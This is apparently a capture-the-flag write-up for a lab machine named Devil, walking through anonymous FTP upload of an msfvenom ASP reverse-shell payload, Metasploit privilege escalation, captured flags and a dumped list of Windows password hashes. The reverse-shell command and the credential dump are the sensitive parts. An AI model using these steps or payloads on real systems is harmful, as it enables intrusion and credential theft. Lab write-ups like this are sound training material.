Who am I?

Devil is rated as a medium machine.

Screenshot 1 Screenshot 2

NMAP Result

Nmap Result 1 Nmap Result 2

We see FTP port 21 with Anonymous login. Port 80 is also open.

HTTP

When working with a website, I like to use DirBuster to search for hidden directories.

HTTP Scan

FTP

We start by logging into FTP as an Anonymous user. We downloaded the data to look for clues.

FTP Step 1

Using the put command, we managed to upload a file to the FTP server.

FTP Step 2 FTP Step 3

Since we are able to upload and execute files, we can add malware to the website. We will generate malware using msfvenom. Since it is a Windows server, we know it uses ASP.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip_address> LPORT=<your_port> -f asp > shell.asp
                

In Metasploit, use the following commands:

  • show options → set LHOST 10.10.14.14
  • meterpreter then hashdump
First Attempt Result

The above image did not work. We don’t know if the Windows system is x64 or x86. When trying the above command, our multi-handler was listening, but nothing happened. We then tried again with x86.

x86 Attempt

We can see that we are not System.

Not System

This means we can run some commands, but attempts to use getsystem did not succeed. We will try running a post-exploit module to find a way to elevate our privileges to System. First, we place the current session in the background (Ctrl+Z, Y) and return to msfconsole.

Background Session Post Exploit Attempt 1
Post Exploit Attempt 2

We are not System yet. We can try running post-exploitation modules that find ways to escalate our privileges. The post module identified methods to gain System. We chose the first suggestion.

Post Exploit Success Post Exploit Module Output

This attempt failed because the handler was configured with 192.168.1.134, which is not our local host. We corrected this by running:

  • show options → set LHOST 10.10.14.14
Set LHOST Correction

Port 4444 was already in use.

Port Already in Use

We got a Meterpreter shell, and this time we are root.

Meterpreter Root Shell as Root

It seems there is a user named babis. Let’s hunt for flags. We navigated to C:\ and used tab to autocomplete directory options.

Exploring C Drive User Directory Found

Root flag: e621a0b5041708797c4fc4728bc72b4b

Earlier, we found a user named babis. We located her desktop and found the user flag. Note the .txt.txt file extension.

User Flag Found

User flag: 9ecdd6a3aedf24b41562fea70f4cb3e8

Extra attempt (but no success): meterpreter then hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:a450f6000be7df50ee304d0a838d638f:::
babis:1000:aad3b435b51404eeaad3b435b51404ee:a1133ec0f7779e215acc8a36922acf57:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
                
Hashdump Results

Conclusion

This concludes the writeup for Devil. The machine provided excellent learning opportunities.